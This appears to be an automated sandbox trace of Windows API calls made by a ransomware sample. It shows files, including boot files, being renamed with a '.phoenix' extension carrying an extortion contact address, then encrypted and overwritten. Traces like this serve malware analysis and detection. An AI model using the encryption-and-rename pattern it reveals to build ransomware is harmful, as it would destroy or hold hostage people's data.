	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.660] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.661] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.662] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.663] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.664] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.665] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.666] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.667] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.668] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.977] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0212.977] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.002] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=2141433) returned 1
	[0213.002] CloseHandle (hObject=0x254) returned 1
	[0213.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80
	[0213.003] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0213.004] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.004] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f6e0 | out: lpNewFilePointer=0x0) returned 1
	[0213.004] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f6e0 | out: lpNewFilePointer=0x0) returned 1
	[0213.004] ReadFile (in: hFile=0x254, lpBuffer=0x420e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3e5f6ec, lpOverlapped=0x0 | out: lpBuffer=0x420e058*, lpNumberOfBytesRead=0x3e5f6ec*=0x40000, lpOverlapped=0x0) returned 1
	[0213.020] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f6e0 | out: lpNewFilePointer=0x0) returned 1
	[0213.020] ReadFile (in: hFile=0x254, lpBuffer=0x424e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3e5f6ec, lpOverlapped=0x0 | out: lpBuffer=0x424e058*, lpNumberOfBytesRead=0x3e5f6ec*=0x40000, lpOverlapped=0x0) returned 1
	[0213.042] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f6e0 | out: lpNewFilePointer=0x0) returned 1
	[0213.042] ReadFile (in: hFile=0x254, lpBuffer=0x428e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3e5f6ec, lpOverlapped=0x0 | out: lpBuffer=0x428e058*, lpNumberOfBytesRead=0x3e5f6ec*=0x40000, lpOverlapped=0x0) returned 1
	[0213.070] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f6d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f73c | out: phKey=0x3e5f73c*=0x6459f8) returned 1
	[0213.070] CryptSetKeyParam (hKey=0x6459f8, dwParam=0x1, pbData=0x3e5f7d0, dwFlags=0x0) returned 1
	[0213.070] CryptEncrypt (in: hKey=0x6459f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x420e020*, pdwDataLen=0x3e5f6f0*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x420e020*, pdwDataLen=0x3e5f6f0*=0xc0080) returned 1
	[0213.080] CryptDestroyKey (hKey=0x6459f8) returned 1
	[0213.080] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f718 | out: lpNewFilePointer=0x0) returned 1
	[0213.080] WriteFile (in: hFile=0x254, lpBuffer=0x420e020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x3e5f728, lpOverlapped=0x0 | out: lpBuffer=0x420e020*, lpNumberOfBytesWritten=0x3e5f728*=0xc0132, lpOverlapped=0x0) returned 1
	[0213.094] SetEndOfFile (hFile=0x254) returned 1
	[0213.099] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f6e8 | out: lpNewFilePointer=0x0) returned 1
	[0213.099] WriteFile (in: hFile=0x254, lpBuffer=0x42ce16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3e5f6f4, lpOverlapped=0x0 | out: lpBuffer=0x42ce16a*, lpNumberOfBytesWritten=0x3e5f6f4*=0x40000, lpOverlapped=0x0) returned 1
	[0213.100] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f6e8 | out: lpNewFilePointer=0x0) returned 1
	[0213.100] WriteFile (in: hFile=0x254, lpBuffer=0x42ce16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3e5f6f4, lpOverlapped=0x0 | out: lpBuffer=0x42ce16a*, lpNumberOfBytesWritten=0x3e5f6f4*=0x40000, lpOverlapped=0x0) returned 1
	[0213.102] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e5f6e8 | out: lpNewFilePointer=0x0) returned 1
	[0213.103] WriteFile (in: hFile=0x254, lpBuffer=0x42ce16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3e5f6f4, lpOverlapped=0x0 | out: lpBuffer=0x42ce16a*, lpNumberOfBytesWritten=0x3e5f6f4*=0x40000, lpOverlapped=0x0) returned 1
	[0213.146] CloseHandle (hObject=0x254) returned 1
	[0213.448] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.448] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.448] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.448] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.449] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=0) returned 1
	[0213.449] CloseHandle (hObject=0x254) returned 1
	[0213.449] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.449] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.452] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=0) returned 1
	[0213.452] CloseHandle (hObject=0x254) returned 1
	[0213.452] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.452] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.452] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=77664) returned 1
	[0213.453] CloseHandle (hObject=0x254) returned 1
	[0213.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0213.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.453] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.453] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.453] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.470] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=95648) returned 1
	[0213.470] CloseHandle (hObject=0x254) returned 1
	[0213.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0213.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.471] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.471] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.471] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.471] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=99744) returned 1
	[0213.471] CloseHandle (hObject=0x254) returned 1
	[0213.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0213.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.471] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.472] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.472] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.472] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=76632) returned 1
	[0213.472] CloseHandle (hObject=0x254) returned 1
	[0213.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0213.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.472] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.472] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.472] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.472] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45472) returned 1
	[0213.473] CloseHandle (hObject=0x254) returned 1
	[0213.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20
	[0213.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.473] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.473] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.473] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.473] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=75616) returned 1
	[0213.473] CloseHandle (hObject=0x254) returned 1
	[0213.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20
	[0213.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.474] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.474] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.474] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.474] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45472) returned 1
	[0213.474] CloseHandle (hObject=0x254) returned 1
	[0213.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20
	[0213.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.474] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.475] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.475] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.475] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=79200) returned 1
	[0213.475] CloseHandle (hObject=0x254) returned 1
	[0213.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20
	[0213.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.475] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.475] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
